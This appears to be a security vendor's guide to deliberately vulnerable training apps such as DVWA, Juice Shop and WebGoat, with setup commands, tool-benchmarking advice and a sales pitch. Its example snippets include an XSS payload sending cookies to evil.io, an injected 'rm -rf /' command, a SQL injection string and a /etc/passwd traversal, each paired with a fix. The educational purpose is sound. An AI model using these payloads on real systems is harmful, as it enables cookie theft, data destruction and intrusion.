A vulnerable web application is a web application that has been deliberately built with security flaws — SQL injection, cross-site scripting, broken authentication, and other weaknesses — so that developers and security professionals can practice finding and exploiting them legally and safely.
Unlike real-world targets, vulnerable web applications are designed to be attacked. They are legal to probe, safe to break, and built with educational documentation that explains why each vulnerability exists and how to fix it.
Why Deliberately Vulnerable Web Applications Exist
You cannot legally practice attacking a real web application without authorization. Even attacking your own production application carries risk — testing can cause outages, corrupt data, or trigger security alerts.
Deliberately vulnerable web applications solve this problem by providing a controlled environment where:
- Breaking things is the point — the application is designed to fail under attack
- The environment is isolated — typically a Docker container running on your local machine
- Findings are educational — most platforms explain the root cause and the fix
- Reset is instant — restart the container to get a clean slate
They serve three distinct audiences:
- Developers learning how injection, XSS, and broken auth work from an attacker’s perspective — so they don’t write the same bugs in production
- Security engineers testing SAST and DAST tools against known-vulnerable code before deploying those tools on real codebases
- Students and certification candidates preparing for OSCP, CEH, GWAPT, and other hands-on security certifications
What Makes a Web Application Vulnerable?
A web application becomes vulnerable when it processes user-supplied input without proper validation or encoding. The most common vulnerability classes found in deliberately vulnerable applications — and in real production code — are:
SQL Injection
SQL injection occurs when user input is embedded directly into a database query without parameterization. An attacker who can control part of the query can retrieve arbitrary data, bypass authentication, or modify the database.
Vulnerable code (PHP):
// The username comes directly from user input
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
// If username = ' OR '1'='1, the query returns ALL users
Secure code:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
Cross-Site Scripting (XSS)
XSS occurs when user-controlled content is rendered in a browser without proper HTML encoding. An attacker can inject JavaScript that runs in the victim’s browser — stealing session cookies, redirecting to phishing pages, or performing actions as the logged-in user.
Vulnerable code:
// Comment from user is displayed without encoding
echo "<p>" . $_GET['comment'] . "</p>";
// If comment = <script>document.location='https://evil.io/steal?c='+document.cookie</script>
// The victim's cookies are sent to the attacker
Secure code:
echo "<p>" . htmlspecialchars($_GET['comment'], ENT_QUOTES, 'UTF-8') . "</p>";
Broken Authentication
Authentication weaknesses include predictable session tokens, missing account lockout, insecure password storage, and session tokens that don’t expire after logout.
Command Injection
Command injection occurs when user input is passed to a shell command without proper escaping:
# VULNERABLE — user controls part of the OS command
import subprocess
filename = request.args.get('file')
subprocess.run(f"convert {filename} output.pdf", shell=True)
# If filename = "file.pdf; rm -rf /", the semicolon executes a second command
Path Traversal
Path traversal (directory traversal) occurs when a user-controlled filename is used to construct a file path, allowing the attacker to read files outside the intended directory:
# VULNERABLE
filename = request.args.get('file')
with open(f'/uploads/{filename}') as f:
return f.read()
# ?file=../../etc/passwd reads the system password file
The Most Popular Vulnerable Web Applications
DVWA — Damn Vulnerable Web Application
DVWA is the most widely used vulnerable web application for learning the OWASP Top 10. It’s a PHP/MySQL application with intentional vulnerabilities at three difficulty levels (Low, Medium, High). Each vulnerability page includes a code viewer showing the source — ideal for understanding both the bug and the fix.
What DVWA covers:
- SQL Injection (including blind injection)
- Command Injection
- File Upload and File Inclusion (LFI/RFI)
- Cross-Site Scripting (Reflected and Stored)
- CSRF
- Brute Force
- Insecure CAPTCHA
Setup:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Open http://localhost/ in your browser
# Default credentials: admin / password
# Click "Create / Reset Database" to initialize
Best for: Beginners learning OWASP Top 10. Also the standard benchmark for testing SAST tools against PHP source code — clone the repository and point your scanner at the source files.
OWASP Juice Shop
Juice Shop is the most realistic vulnerable web application available. It’s a modern single-page application (Angular frontend, Node.js/Express backend) with 100+ security challenges organized by difficulty. The built-in scoreboard tracks your progress.
Unlike DVWA, Juice Shop looks like a real e-commerce application — not a lab toy. This makes it the best choice for:
- DAST tool testing against a realistic application surface
- Training developers who work with JavaScript and REST APIs
- Practicing modern web vulnerabilities (JWT attacks, XXE, OAuth flaws)
Setup:
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open http://localhost:3000/
# Visit /#/score-board to see available challenges
WebGoat
WebGoat is OWASP’s Java-based training platform. Each lesson explains a vulnerability, walks through an attack, and requires the student to exploit it before moving on. It’s more structured and educational than DVWA.
Best for: Java developers learning security. Also the standard test target for SAST tools against Java source code.
docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Open http://localhost:8080/WebGoat
bWAPP — Buggy Web Application
bWAPP covers more than 100 vulnerability types — more breadth than any other single vulnerable application. If you want exposure to SSRF, XML injection, Heartbleed (simulated), Shellshock (simulated), and dozens of other vulnerability classes beyond the OWASP Top 10, bWAPP is the right choice.
docker run -d -p 80:80 raesene/bwapp
# Open http://localhost/bWAPP/install.php first
# Then log in at http://localhost/bWAPP/login.php (bee / bug)
NodeGoat
NodeGoat is a vulnerable Node.js/Express application covering OWASP vulnerabilities specific to the JavaScript stack. If your team builds Node.js applications and you want to verify your SAST tool handles JavaScript-specific issues correctly, NodeGoat is the right benchmark.
git clone https://github.com/OWASP/NodeGoat
cd NodeGoat && npm install
docker-compose up
# Open http://localhost:4000/
Using a Vulnerable Web Application to Test Your Security Tools
One of the most practical uses of a vulnerable web application is benchmarking your SAST or DAST tool before applying it to real code.
Testing a SAST Tool
- Clone the source code of DVWA, WebGoat, or NodeGoat from GitHub
- Point your SAST scanner at the source code directory
- Check whether it flags the known-vulnerable functions:
- SQL injection in DVWA’s
vulnerabilities/sqli/source/low.php - Command injection in DVWA’s
vulnerabilities/exec/source/low.php - XSS in
vulnerabilities/xss_r/source/low.php
- SQL injection in DVWA’s
- Review false positives — does it flag the intentionally vulnerable code without excessive noise?
- Check whether the scanner also finds vulnerabilities in the Medium and High difficulty levels, which use slightly more obfuscated patterns
If your SAST tool misses obvious SQL injection in low.php (where the vulnerability is completely unobfuscated), it will miss similar patterns in your production code.
Testing a DAST Tool
- Run OWASP Juice Shop or DVWA in Docker locally
- Point your DAST scanner at the local URL (
http://localhost:3000/orhttp://localhost/) - Configure authentication credentials so the scanner can reach authenticated endpoints
- Check whether the scanner finds XSS, SQLi, and auth bypass issues in the running application
- Review the false-positive rate — a good DAST tool should not flag non-existent issues
Which Vulnerable Web Application Should You Use?
| Goal | Recommended App |
|---|---|
| Learn OWASP Top 10 from scratch | DVWA → then Juice Shop |
| Test DAST against a realistic app | OWASP Juice Shop |
| Test SAST for Java code | WebGoat |
| Test SAST for PHP code | DVWA |
| Test SAST for Node.js code | NodeGoat |
| 100+ vulnerability types in one app | bWAPP |
| CTF-style challenges, scoreboard | OWASP Juice Shop |
Frequently Asked Questions
Is it legal to attack a vulnerable web application?
Yes — provided you are running it in your own isolated environment (a local Docker container or a private VM). Vulnerable web applications are explicitly designed to be attacked. Never point your tests at a vulnerable web application running on someone else’s server or a shared environment without authorization.
Do vulnerable web applications teach real-world skills?
Yes. The vulnerability classes covered in DVWA, Juice Shop, and WebGoat are exactly the same classes found in enterprise production applications. SQL injection in DVWA’s PHP code follows the same pattern as SQL injection in a Fortune 500’s ASP.NET or Java application. The mechanics are identical — only the surrounding framework code differs.
Can I use a vulnerable web application to prepare for OSCP?
Vulnerable web applications are useful supplementary practice for OSCP’s web exploitation modules, but OSCP focuses primarily on network exploitation, privilege escalation, and active directory attacks. For dedicated web application security certifications, TryHackMe’s web-focused paths, HackTheBox’s web challenges, and PortSwigger Web Security Academy (which is free) are more targeted preparation.
Which vulnerable web app is best for a complete beginner?
Start with DVWA at Low difficulty. Its code viewer lets you see exactly what makes each page vulnerable, and the three difficulty levels provide a structured progression. Once you can identify and exploit all vulnerability categories at Medium difficulty, move to OWASP Juice Shop for a more realistic and challenging experience.
Benchmark Your Security Tools Against Known Vulnerabilities
Testing your scanner against vulnerable web applications before applying it to production code is standard practice in any serious security program. If your tool can’t find SQL injection in DVWA’s low.php, it won’t find it in your codebase either.
Offensive360’s SAST and DAST scanners are benchmarked against DVWA, Juice Shop, and WebGoat on every release. Want to see how they perform on your own code?
- One-time SAST scan for $500 — submit your source code, get a full vulnerability report within 48 hours
- DAST scan for your running application — authenticated dynamic scanning of your web app
- Book a demo to see a live scan against a vulnerable web application or your own codebase